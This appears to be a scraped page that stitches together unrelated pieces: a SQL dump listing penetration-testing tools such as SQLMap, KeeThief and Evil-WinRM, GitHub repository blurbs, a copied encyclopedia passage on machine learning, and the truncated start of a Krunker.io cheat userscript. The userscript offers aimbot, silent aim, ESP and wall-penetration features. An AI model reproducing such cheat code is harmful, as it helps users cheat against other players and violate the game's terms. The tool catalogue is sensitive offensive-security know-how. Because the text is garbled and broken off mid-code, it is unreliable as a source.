Offensive, commands) VALUES ('Scp', 'Utility', 'For transfering files over SSH connection', 'man pages on llinux', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBClient', 'Utility', 'Used to connect to SMB file shares, can be used to enumerate shares', 'man pages on linux', 'Connect', 'SMB', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PowerShell', 'Utility', 'Powerfull comand line for Windows', 'https://www.pdq.com/powershell/', NULL, 'Windows', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Searchsploit', 'Enum', 'Local version of ExploitDB', 'https://www.exploit-db.com/searchsploit', 'Exploit Enum', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Vim', 'Utiility', 'Text editor', 'https://vimhelp.org/', NULL, 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('LinPeas', 'Post', 'For Enumerating Linux computers', 'Simply run on a linux computer', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nikto', 'Enum', 'For full enumeration on websites', 'https://cirt.net/nikto2-docs/', 'Exploit Enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Radare2', 'Utility', 'A tooll used to reverse engineer programs', 'https://github.com/radareorg/radare2/blob/master/doc/intro.md', 'Reverse', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Evil-WinRM', 'Exploit', 'Malware exuivilent of WinRM and used to exploit windows systems', 'https://github.com/Hackplayers/evil-winrm', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Seatbelt', 'Post', 'Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives', 'https://github.com/GhostPack/Seatbelt', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WinPeas', 'Post', 'For full enumeration of windows host (internal)', 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Lockless', 'Post', 'LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files', 'https://github.com/GhostPack/Lockless', 'File interaction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SQLMap', 'Exploit', 'Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers', 'http://sqlmap.org/', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('KEETheif', 'Post', 'Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system', 'https://github.com/GhostPack/KeeThief', 'File interacction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('TheHarvester', 'Enum', 'The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database', 'https://tools.kali.org/information-gathering/theharvester', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('jSQLInjection', 'Enum', 'used for gathering SQL databse information form a distant source', 'https://tools.kali.org/vulnerability-analysis/jsql', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hping', 'Enum', 'Ping command on steroids, used to enumerating firewalls', 'https://tools.kali.org/information-gathering/hping3', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux Exploit Suggester', 'Post', 'keeps track of vulnerabilities and suggests exploits to gain root access', 'https://tools.kali.org/exploitation-tools/linux-exploit-suggester', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unix-PrivEsc-Check', 'Post', ' It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps, written in a single shell script so is easy to upload', 'https://tools.kali.org/vulnerability-analysis/unix-privesc-check', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Dotdotpwn', 'Enum', 'It’s a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers', 'https://tools.kali.org/information-gathering/dotdotpwn', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Websploit', 'Enum, Exploit', 'Swiss-army-knife of web exploits ranging from social engineering to honeypots and everything in between', 'https://tools.kali.org/web-applications/websploit', NULL, 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('XSSer', 'Enum', 'To detect, exploit and report XSS vulnerabilities in web-based applications', 'https://tools.kali.org/web-applications/xsser', 'Exploit enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Name-That-Hash', 'Utility', 'Hash-identifier with more deatils and command line based', 'https://github.com/HashPals/Name-That-Hash', NULL, 'N/A', 'N', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBMap', 'Enum', 'enumerate shares over a domin', 'https://tools.kali.org/information-gathering/smbmap', 'Scanning', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Redis-Cli', 'Exploit', 'used for interacting and exploiting reddis-cli on port 6379', 'https://book.hacktricks.xyz/pentesting/6379-pentesting-redis ; https://redis.io/topics/rediscli', 'SQL', 'SQL', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unshadow', 'POST', 'Combining passwd and shadow files into 1', 'simply use: unshadow <passwd file> <shadow file> > <output file>', 'Passwords', 'Hash', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WPScan', 'Enum', 'Look for vulnerabilities in wordpress site', 'https://github.com/wpscanteam/wpscan', 'Scanning', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Netcat', 'Utility', 'used for connecting 2 computers', 'https://www.win.tue.nl/~aeb/linux/hh/netcat_tutorial.pdf', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux commands', 'Post', 'Linux commands used for Priv esc', 'https://gtfobins.github.io, https://wadcoms.github.io', 'Priv Esc', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CrackMapExec', 'Enum,, Exploit', 'Swis army knife of network testing', 'https://ptestmethod.readthedocs.io/en/latest/cme.html', 'Scanning, Exploit', 'Networks', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('IKE-Scan', 'Enum', 'Used to dicover, fingerprint and test IPsec VPN systems', 'http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide', 'Scanning', 'VPN', NULL, NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PSK-Crack', 'Exploit', 'attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the --pskcrack option', 'https://linux.die.net/man/1/psk-crack', 'Connect, Brute', 'Wifi', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CeWL', 'Enum', 'spiders a given url returning a wordlist that is intednded for cracking passwords', 'https://tools.kali.org/password-attacks/cewl', 'Brute', 'Web', 'Y', NULL); COMMIT TRANSACTION; PRAGMA foreign_keys = on;
NickVanheer / CoffeeFlow VisualFlowEditorNode based editor made with WPF/C# that uses C# files to dynamically visualize, edit and save node graphs in XML format. The graphs can then be traversed and its methods called in other applications. Blog post and video will follow later.
Aryia-Behroziuan / NeuronsAn ANN is a model based on a collection of connected units or nodes called "artificial neurons", which loosely model the neurons in a biological brain. Each connection, like the synapses in a biological brain, can transmit information, a "signal", from one artificial neuron to another. An artificial neuron that receives a signal can process it and then signal additional artificial neurons connected to it. In common ANN implementations, the signal at a connection between artificial neurons is a real number, and the output of each artificial neuron is computed by some non-linear function of the sum of its inputs. The connections between artificial neurons are called "edges". Artificial neurons and edges typically have a weight that adjusts as learning proceeds. The weight increases or decreases the strength of the signal at a connection. Artificial neurons may have a threshold such that the signal is only sent if the aggregate signal crosses that threshold. Typically, artificial neurons are aggregated into layers. Different layers may perform different kinds of transformations on their inputs. Signals travel from the first layer (the input layer) to the last layer (the output layer), possibly after traversing the layers multiple times. The original goal of the ANN approach was to solve problems in the same way that a human brain would. However, over time, attention moved to performing specific tasks, leading to deviations from biology. Artificial neural networks have been used on a variety of tasks, including computer vision, speech recognition, machine translation, social network filtering, playing board and video games and medical diagnosis. Deep learning consists of multiple hidden layers in an artificial neural network. This approach tries to model the way the human brain processes light and sound into vision and hearing. Some successful applications of deep learning are computer vision and speech recognition.[68] Decision trees Main article: Decision tree learning Decision tree learning uses a decision tree as a predictive model to go from observations about an item (represented in the branches) to conclusions about the item's target value (represented in the leaves). It is one of the predictive modeling approaches used in statistics, data mining, and machine learning. Tree models where the target variable can take a discrete set of values are called classification trees; in these tree structures, leaves represent class labels and branches represent conjunctions of features that lead to those class labels. Decision trees where the target variable can take continuous values (typically real numbers) are called regression trees. In decision analysis, a decision tree can be used to visually and explicitly represent decisions and decision making. In data mining, a decision tree describes data, but the resulting classification tree can be an input for decision making. Support vector machines Main article: Support vector machines Support vector machines (SVMs), also known as support vector networks, are a set of related supervised learning methods used for classification and regression. Given a set of training examples, each marked as belonging to one of two categories, an SVM training algorithm builds a model that predicts whether a new example falls into one category or the other.[69] An SVM training algorithm is a non-probabilistic, binary, linear classifier, although methods such as Platt scaling exist to use SVM in a probabilistic classification setting. In addition to performing linear classification, SVMs can efficiently perform a non-linear classification using what is called the kernel trick, implicitly mapping their inputs into high-dimensional feature spaces. Illustration of linear regression on a data set. Regression analysis Main article: Regression analysis Regression analysis encompasses a large variety of statistical methods to estimate the relationship between input variables and their associated features. Its most common form is linear regression, where a single line is drawn to best fit the given data according to a mathematical criterion such as ordinary least squares. The latter is often extended by regularization (mathematics) methods to mitigate overfitting and bias, as in ridge regression. When dealing with non-linear problems, go-to models include polynomial regression (for example, used for trendline fitting in Microsoft Excel[70]), logistic regression (often used in statistical classification) or even kernel regression, which introduces non-linearity by taking advantage of the kernel trick to implicitly map input variables to higher-dimensional space. Bayesian networks Main article: Bayesian network A simple Bayesian network. Rain influences whether the sprinkler is activated, and both rain and the sprinkler influence whether the grass is wet. A Bayesian network, belief network, or directed acyclic graphical model is a probabilistic graphical model that represents a set of random variables and their conditional independence with a directed acyclic graph (DAG). For example, a Bayesian network could represent the probabilistic relationships between diseases and symptoms. Given symptoms, the network can be used to compute the probabilities of the presence of various diseases. Efficient algorithms exist that perform inference and learning. Bayesian networks that model sequences of variables, like speech signals or protein sequences, are called dynamic Bayesian networks. Generalizations of Bayesian networks that can represent and solve decision problems under uncertainty are called influence diagrams. Genetic algorithms Main article: Genetic algorithm A genetic algorithm (GA) is a search algorithm and heuristic technique that mimics the process of natural selection, using methods such as mutation and crossover to generate new genotypes in the hope of finding good solutions to a given problem. In machine learning, genetic algorithms were used in the 1980s and 1990s.[71][72] Conversely, machine learning techniques have been used to improve the performance of genetic and evolutionary algorithms.[73] Training models Usually, machine learning models require a lot of data in order for them to perform well. Usually, when training a machine learning model, one needs to collect a large, representative sample of data from a training set. Data from the training set can be as varied as a corpus of text, a collection of images, and data collected from individual users of a service. Overfitting is something to watch out for when training a machine learning model. Federated learning Main article: Federated learning Federated learning is an adapted form of distributed artificial intelligence to training machine learning models that decentralizes the training process, allowing for users' privacy to be maintained by not needing to send their data to a centralized server. This also increases efficiency by decentralizing the training process to many devices. For example, Gboard uses federated machine learning to train search query prediction models on users' mobile phones without having to send individual searches back to Google.[74] Applications There are many applications for machine learning, including: Agriculture Anatomy Adaptive websites Affective computing Banking Bioinformatics Brain–machine interfaces Cheminformatics Citizen science Computer networks Computer vision Credit-card fraud detection Data quality DNA sequence classification Economics Financial market analysis[75] General game playing Handwriting recognition Information retrieval Insurance Internet fraud detection Linguistics Machine learning control Machine perception Machine translation Marketing Medical diagnosis Natural language processing Natural language understanding Online advertising Optimization Recommender systems Robot locomotion Search engines Sentiment analysis Sequence mining Software engineering Speech recognition Structural health monitoring Syntactic pattern recognition Telecommunication Theorem proving Time series forecasting User behavior analytics In 2006, the media-services provider Netflix held the first "Netflix Prize" competition to find a program to better predict user preferences and improve the accuracy of its existing Cinematch movie recommendation algorithm by at least 10%. A joint team made up of researchers from AT&T Labs-Research in collaboration with the teams Big Chaos and Pragmatic Theory built an ensemble model to win the Grand Prize in 2009 for $1 million.[76] Shortly after the prize was awarded, Netflix realized that viewers' ratings were not the best indicators of their viewing patterns ("everything is a recommendation") and they changed their recommendation engine accordingly.[77] In 2010 The Wall Street Journal wrote about the firm Rebellion Research and their use of machine learning to predict the financial crisis.[78] In 2012, co-founder of Sun Microsystems, Vinod Khosla, predicted that 80% of medical doctors' jobs would be lost in the next two decades to automated machine learning medical diagnostic software.[79] In 2014, it was reported that a machine learning algorithm had been applied in the field of art history to study fine art paintings and that it may have revealed previously unrecognized influences among artists.[80] In 2019 Springer Nature published the first research book created using machine learning.[81] Limitations Although machine learning has been transformative in some fields, machine-learning programs often fail to deliver expected results.[82][83][84] Reasons for this are numerous: lack of (suitable) data, lack of access to the data, data bias, privacy problems, badly chosen tasks and algorithms, wrong tools and people, lack of resources, and evaluation problems.[85] In 2018, a self-driving car from Uber failed to detect a pedestrian, who was killed after a collision.[86] Attempts to use machine learning in healthcare with the IBM Watson system failed to deliver even after years of time and billions of dollars invested.[87][88] Bias Main article: Algorithmic bias Machine learning approaches in particular can suffer from different data biases. A machine learning system trained on current customers only may not be able to predict the needs of new customer groups that are not represented in the training data. When trained on man-made data, machine learning is likely to pick up the same constitutional and unconscious biases already present in society.[89] Language models learned from data have been shown to contain human-like biases.[90][91] Machine learning systems used for criminal risk assessment have been found to be biased against black people.[92][93] In 2015, Google photos would often tag black people as gorillas,[94] and in 2018 this still was not well resolved, but Google reportedly was still using the workaround to remove all gorillas from the training data, and thus was not able to recognize real gorillas at all.[95] Similar issues with recognizing non-white people have been found in many other systems.[96] In 2016, Microsoft tested a chatbot that learned from Twitter, and it quickly picked up racist and sexist language.[97] Because of such challenges, the effective use of machine learning may take longer to be adopted in other domains.[98] Concern for fairness in machine learning, that is, reducing bias in machine learning and propelling its use for human good is increasingly expressed by artificial intelligence scientists, including Fei-Fei Li, who reminds engineers that "There’s nothing artificial about AI...It’s inspired by people, it’s created by people, and—most importantly—it impacts people. It is a powerful tool we are only just beginning to understand, and that is a profound responsibility.”[99] Model assessments Classification of machine learning models can be validated by accuracy estimation techniques like the holdout method, which splits the data in a training and test set (conventionally 2/3 training set and 1/3 test set designation) and evaluates the performance of the training model on the test set. In comparison, the K-fold-cross-validation method randomly partitions the data into K subsets and then K experiments are performed each respectively considering 1 subset for evaluation and the remaining K-1 subsets for training the model. In addition to the holdout and cross-validation methods, bootstrap, which samples n instances with replacement from the dataset, can be used to assess model accuracy.[100] In addition to overall accuracy, investigators frequently report sensitivity and specificity meaning True Positive Rate (TPR) and True Negative Rate (TNR) respectively. Similarly, investigators sometimes report the false positive rate (FPR) as well as the false negative rate (FNR). However, these rates are ratios that fail to reveal their numerators and denominators. The total operating characteristic (TOC) is an effective method to express a model's diagnostic ability. TOC shows the numerators and denominators of the previously mentioned rates, thus TOC provides more information than the commonly used receiver operating characteristic (ROC) and ROC's associated area under the curve (AUC).[101] Ethics Machine learning poses a host of ethical questions. Systems which are trained on datasets collected with biases may exhibit these biases upon use (algorithmic bias), thus digitizing cultural prejudices.[102] For example, using job hiring data from a firm with racist hiring policies may lead to a machine learning system duplicating the bias by scoring job applicants against similarity to previous successful applicants.[103][104] Responsible collection of data and documentation of algorithmic rules used by a system thus is a critical part of machine learning. Because human languages contain biases, machines trained on language corpora will necessarily also learn these biases.[105][106] Other forms of ethical challenges, not related to personal biases, are more seen in health care. There are concerns among health care professionals that these systems might not be designed in the public's interest but as income-generating machines. This is especially true in the United States where there is a long-standing ethical dilemma of improving health care, but also increasing profits. For example, the algorithms could be designed to provide patients with unnecessary tests or medication in which the algorithm's proprietary owners hold stakes. There is huge potential for machine learning in health care to provide professionals a great tool to diagnose, medicate, and even plan recovery paths for patients, but this will not happen until the personal biases mentioned previously, and these "greed" biases are addressed.[107] Hardware Since the 2010s, advances in both machine learning algorithms and computer hardware have led to more efficient methods for training deep neural networks (a particular narrow subdomain of machine learning) that contain many layers of non-linear hidden units.[108] By 2019, graphic processing units (GPUs), often with AI-specific enhancements, had displaced CPUs as the dominant method of training large-scale commercial cloud AI.[109] OpenAI estimated the hardware compute used in the largest deep learning projects from AlexNet (2012) to AlphaZero (2017), and found a 300,000-fold increase in the amount of compute required, with a doubling-time trendline of 3.4 months.[110][111] Software Software suites containing a variety of machine learning algorithms include the following: Free and open-source so
ryanlecompte / Method Locatormethod_locator provides a way to traverse an object's method lookup path to find all places where a method may be defined.
Dirkster99 / TreeLibA .Net Standard Library with Generic methods to traverse k-ary trees in any order required.
deveshptl / Golang Data Structures AlgorithmsImplementations of data structures and algorithms in GoLang
Gabriel1231n2j3n / Hacks Para Krunker// ==UserScript== // @name aimbot gratis para krunker.io // @description Este es el mejor aimbot mod menuq puedas obtener // @version 2.19 // @author Gabriel - // @iconURL 31676a4e532e706e673f7261773d74727565.png // @match *://krunker.io/* // @exclude *://krunker.io/editor* // @exclude *://krunker.io/social* // @run-at document-start // @grant none // @noframes // ==/UserScript== /* eslint-env es6 */ /* eslint-disable no-caller, no-undef, no-loop-func */ var CRC2d = CanvasRenderingContext2D.prototype; var skid, skidStr = [...Array(8)].map(_ => 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'[~~(Math.random()*52)]).join(''); class Skid { constructor() { skid = this; this.downKeys = new Set(); this.settings = null; this.vars = {}; this.playerMaps = []; this.skinCache = {}; this.inputFrame = 0; this.renderFrame = 0; this.fps = 0; this.lists = { renderESP: { off: "Off", walls: "Walls", twoD: "2d", full: "Full" }, renderChams: { off: "Off", white: "White", blue: "Blue", teal: "Teal", purple: "Purple", green: "Green", yellow: "Yellow", red: "Red", }, autoBhop: { off: "Off", autoJump: "Auto Jump", keyJump: "Key Jump", autoSlide: "Auto Slide", keySlide: "Key Slide" }, autoAim: { off: "Off", correction: "Aim Correction", assist: "Legit Aim Assist", easyassist: "Easy Aim Assist", silent: "Silent Aim", trigger: "Trigger Bot", quickScope: "Quick Scope" }, audioStreams: { off: 'Off', _2000s: 'General German/English', _HipHopRNB: 'Hip Hop / RNB', _Oldskool: 'Hip Hop Oldskool', _Country: 'Country', _Pop: 'Pop', _Dance: 'Dance', _Dubstep: 'DubStep', _Lowfi: 'LoFi HipHop', _Jazz: 'Jazz', _Oldies: 'Golden Oldies', _Club: 'Club', _Folk: 'Folk', _ClassicRock: 'Classic Rock', _Metal: 'Heavy Metal', _DeathMetal: 'Death Metal', _Classical: 'Classical', _Alternative: 'Alternative', }, } this.consts = { twoPI: Math.PI * 2, halfPI: Math.PI / 2, playerHeight: 11, cameraHeight: 1.5, headScale: 2, armScale: 1.3, armInset: 0.1, chestWidth: 2.6, hitBoxPad: 1, crouchDst: 3, recoilMlt: 0.3, nameOffset: 0.6, nameOffsetHat: 0.8, }; this.key = { frame: 0, delta: 1, xdir: 2, ydir: 3, moveDir: 4, shoot: 5, scope: 6, jump: 7, reload: 8, crouch: 9, weaponScroll: 10, weaponSwap: 11, moveLock: 12 }; this.css = { noTextShadows: `*, .button.small, .bigShadowT { text-shadow: none !important; }`, hideAdverts: `#aMerger, #endAMerger { display: none !important }`, hideSocials: `.headerBarRight > .verticalSeparator, .imageButton { display: none }`, cookieButton: `#onetrust-consent-sdk { display: none !important }`, newsHolder: `#newsHolder { display: none !important }`, }; this.isProxy = Symbol("isProxy"); this.spinTimer = 1800; let wait = setInterval(_ => { this.head = document.head||document.getElementsByTagName('head')[0] if (this.head) { clearInterval(wait); Object.entries(this.css).forEach(entry => { this.css[entry[0]] = this.createElement("style", entry[1]); }) this.onLoad(); } }, 100); } canStore() { return this.isDefined(Storage); } saveVal(name, val) { if (this.canStore()) localStorage.setItem("kro_utilities_"+name, val); } deleteVal(name) { if (this.canStore()) localStorage.removeItem("kro_utilities_"+name); } getSavedVal(name) { if (this.canStore()) return localStorage.getItem("kro_utilities_"+name); return null; } isType(item, type) { return typeof item === type; } isDefined(object) { return !this.isType(object, "undefined") && object !== null; } isNative(fn) { return (/^function\s*[a-z0-9_\$]*\s*\([^)]*\)\s*\{\s*\[native code\]\s*\}/i).test('' + fn) } getStatic(s, d) { return this.isDefined(s) ? s : d } crossDomain(url) { return "https://crossorigin.me/" + url; } async waitFor(test, timeout_ms = 20000, doWhile = null) { let sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); return new Promise(async (resolve, reject) => { if (typeof timeout_ms != "number") reject("Timeout argument not a number in waitFor(selector, timeout_ms)"); let result, freq = 100; while (result === undefined || result === false || result === null || result.length === 0) { if (doWhile && doWhile instanceof Function) doWhile(); if (timeout_ms % 1000 < freq) console.log("waiting for: ", test); if ((timeout_ms -= freq) < 0) { console.log( "Timeout : ", test ); resolve(false); return; } await sleep(freq); result = typeof test === "string" ? Function(test)() : test(); } console.log("Passed : ", test); resolve(result); }); }; createSettings() { this.settings = { //Rendering showSkidBtn: { pre: "<div class='setHed'>Rendering</div>", name: "Show Skid Button", val: true, html: () => this.generateSetting("checkbox", "showSkidBtn", this), set: (value, init) => { let button = document.getElementById("mainButton"); if (!button) { button = this.createButton("5k1D", "https://i.imgur.com/1tWAEJx.gif", this.toggleMenu, value) } else button.style.display = value ? "inherit" : "none"; } }, hideAdverts: { name: "Hide Advertisments", val: true, html: () => this.generateSetting("checkbox", "hideAdverts", this), set: (value, init) => { if (value) this.head.appendChild(this.css.hideAdverts) else if (!init) this.css.hideAdverts.remove() } }, hideStreams: { name: "Hide Streams", val: false, html: () => this.generateSetting("checkbox", "hideStreams", this), set: (value) => { window.streamContainer.style.display = value ? "none" : "inherit" } }, hideMerch: { name: "Hide Merch", val: false, html: () => this.generateSetting("checkbox", "hideMerch", this), set: value => { window.merchHolder.style.display = value ? "none" : "inherit" } }, hideNewsConsole: { name: "Hide News Console", val: false, html: () => this.generateSetting("checkbox", "hideNewsConsole", this), set: value => { window.newsHolder.style.display = value ? "none" : "inherit" } }, hideCookieButton: { name: "Hide Security Manage Button", val: false, html: () => this.generateSetting("checkbox", "hideCookieButton", this), set: value => { window['onetrust-consent-sdk'].style.display = value ? "none" : "inherit" } }, noTextShadows: { name: "Remove Text Shadows", val: false, html: () => this.generateSetting("checkbox", "noTextShadows", this), set: (value, init) => { if (value) this.head.appendChild(this.css.noTextShadows) else if (!init) this.css.noTextShadows.remove() } }, customCSS: { name: "Custom CSS", val: "", html: () => this.generateSetting("url", "customCSS", "URL to CSS file"), resources: { css: document.createElement("link") }, set: (value, init) => { if (value.startsWith("http")&&value.endsWith(".css")) { //let proxy = 'https://cors-anywhere.herokuapp.com/'; this.settings.customCSS.resources.css.href = value } if (init) { this.settings.customCSS.resources.css.rel = "stylesheet" try { this.head.appendChild(this.settings.customCSS.resources.css) } catch(e) { alert(e) this.settings.customCSS.resources.css = null } } } }, renderESP: { name: "Player ESP Type", val: "off", html: () => this.generateSetting("select", "renderESP", this.lists.renderESP), }, renderTracers: { name: "Player Tracers", val: false, html: () => this.generateSetting("checkbox", "renderTracers"), }, rainbowColor: { name: "Rainbow ESP", val: false, html: () => this.generateSetting("checkbox", "rainbowColor"), }, renderChams: { name: "Player Chams", val: "off", html: () => this.generateSetting( "select", "renderChams", this.lists.renderChams ), }, renderWireFrame: { name: "Player Wireframe", val: false, html: () => this.generateSetting("checkbox", "renderWireFrame"), }, customBillboard: { name: "Custom Billboard Text", val: "", html: () => this.generateSetting( "text", "customBillboard", "Custom Billboard Text" ), }, //Weapon autoReload: { pre: "<br><div class='setHed'>Weapon</div>", name: "Auto Reload", val: false, html: () => this.generateSetting("checkbox", "autoReload"), }, autoAim: { name: "Auto Aim Type", val: "off", html: () => this.generateSetting("select", "autoAim", this.lists.autoAim), }, frustrumCheck: { name: "Line of Sight Check", val: false, html: () => this.generateSetting("checkbox", "frustrumCheck"), }, wallPenetrate: { name: "Aim through Penetratables", val: false, html: () => this.generateSetting("checkbox", "wallPenetrate"), }, weaponZoom: { name: "Weapon Zoom", val: 1.0, min: 0, max: 50.0, step: 0.01, html: () => this.generateSetting("slider", "weaponZoom"), set: (value) => { if (this.renderer) this.renderer.adsFovMlt = value;} }, weaponTrails: { name: "Weapon Trails", val: false, html: () => this.generateSetting("checkbox", "weaponTrails"), set: (value) => { if (this.me) this.me.weapon.trail = value;} }, //Player autoBhop: { pre: "<br><div class='setHed'>Player</div>", name: "Auto Bhop Type", val: "off", html: () => this.generateSetting("select", "autoBhop", this.lists.autoBhop), }, thirdPerson: { name: "Third Person", val: false, html: () => this.generateSetting("checkbox", "thirdPerson"), set: (value, init) => { if (value) this.thirdPerson = 1; else if (!init) this.thirdPerson = undefined; } }, skinUnlock: { name: "Unlock Skins", val: false, html: () => this.generateSetting("checkbox", "skinUnlock", this), }, //GamePlay disableWpnSnd: { pre: "<br><div class='setHed'>GamePlay</div>", name: "Disable Players Weapon Sounds", val: false, html: () => this.generateSetting("checkbox", "disableWpnSnd", this), }, disableHckSnd: { name: "Disable Hacker Fart Sounds", val: false, html: () => this.generateSetting("checkbox", "disableHckSnd", this), }, autoActivateNuke: { name: "Auto Activate Nuke", val: false, html: () => this.generateSetting("checkbox", "autoActivateNuke", this), }, autoFindNew: { name: "New Lobby Finder", val: false, html: () => this.generateSetting("checkbox", "autoFindNew", this), }, autoClick: { name: "Auto Start Game", val: false, html: () => this.generateSetting("checkbox", "autoClick", this), }, inActivity: { name: "No InActivity Kick", val: true, html: () => this.generateSetting("checkbox", "autoClick", this), }, //Radio Stream Player playStream: { pre: "<br><div class='setHed'>Radio Stream Player</div>", name: "Stream Select", val: "off", html: () => this.generateSetting("select", "playStream", this.lists.audioStreams), set: (value) => { if (value == "off") { if ( this.settings.playStream.audio ) { this.settings.playStream.audio.pause(); this.settings.playStream.audio.currentTime = 0; this.settings.playStream.audio = null; } return; } let url = this.settings.playStream.urls[value]; if (!this.settings.playStream.audio) { this.settings.playStream.audio = new Audio(url); this.settings.playStream.audio.volume = this.settings.audioVolume.val||0.5 } else { this.settings.playStream.audio.src = url; } this.settings.playStream.audio.load(); this.settings.playStream.audio.play(); }, urls: { _2000s: 'http://0n-2000s.radionetz.de/0n-2000s.aac', _HipHopRNB: 'https://stream-mixtape-geo.ntslive.net/mixtape2', _Country: 'https://live.wostreaming.net/direct/wboc-waaifmmp3-ibc2', _Dance: 'http://streaming.radionomy.com/A-RADIO-TOP-40', _Pop: 'http://bigrradio.cdnstream1.com/5106_128', _Jazz: 'http://strm112.1.fm/ajazz_mobile_mp3', _Oldies: 'http://strm112.1.fm/60s_70s_mobile_mp3', _Club: 'http://strm112.1.fm/club_mobile_mp3', _Folk: 'https://freshgrass.streamguys1.com/irish-128mp3', _ClassicRock: 'http://1a-classicrock.radionetz.de/1a-classicrock.mp3', _Metal: 'http://streams.radiobob.de/metalcore/mp3-192', _DeathMetal: 'http://stream.laut.fm/beatdownx', _Classical: 'http://live-radio01.mediahubaustralia.com/FM2W/aac/', _Alternative: 'http://bigrradio.cdnstream1.com/5187_128', _Dubstep: 'http://streaming.radionomy.com/R1Dubstep?lang=en', _Lowfi: 'http://streams.fluxfm.de/Chillhop/mp3-256', _Oldskool: 'http://streams.90s90s.de/hiphop/mp3-128/', }, audio: null, }, audioVolume: { name: "Radio Volume", val: 0.5, min: 0, max: 1, step: 0.01, html: () => this.generateSetting("slider", "audioVolume"), set: (value) => { if (this.settings.playStream.audio) this.settings.playStream.audio.volume = value;} }, }; // Inject Html let waitForWindows = setInterval(_ => { if (window.windows) { const menu = window.windows[11]; menu.header = "Settings"; menu.gen = _ => { var tmpHTML = `<div style='text-align:center'> <a onclick='window.open("https://skidlamer.github.io/")' class='menuLink'>SkidFest Settings</center></a> <hr> </div>`; for (const key in this.settings) { if (this.settings[key].pre) tmpHTML += this.settings[key].pre; tmpHTML += "<div class='settName' id='" + key + "_div' style='display:" + (this.settings[key].hide ? 'none' : 'block') + "'>" + this.settings[key].name + " " + this.settings[key].html() + "</div>"; } tmpHTML += `<br><hr><a onclick='${skidStr}.resetSettings()' class='menuLink'>Reset Settings</a> | <a onclick='${skidStr}.saveScript()' class='menuLink'>Save GameScript</a>` return tmpHTML; }; clearInterval(waitForWindows); //this.createButton("5k1D", "https://i.imgur.com/1tWAEJx.gif", this.toggleMenu) } }, 100); // setupSettings for (const key in this.settings) { this.settings[key].def = 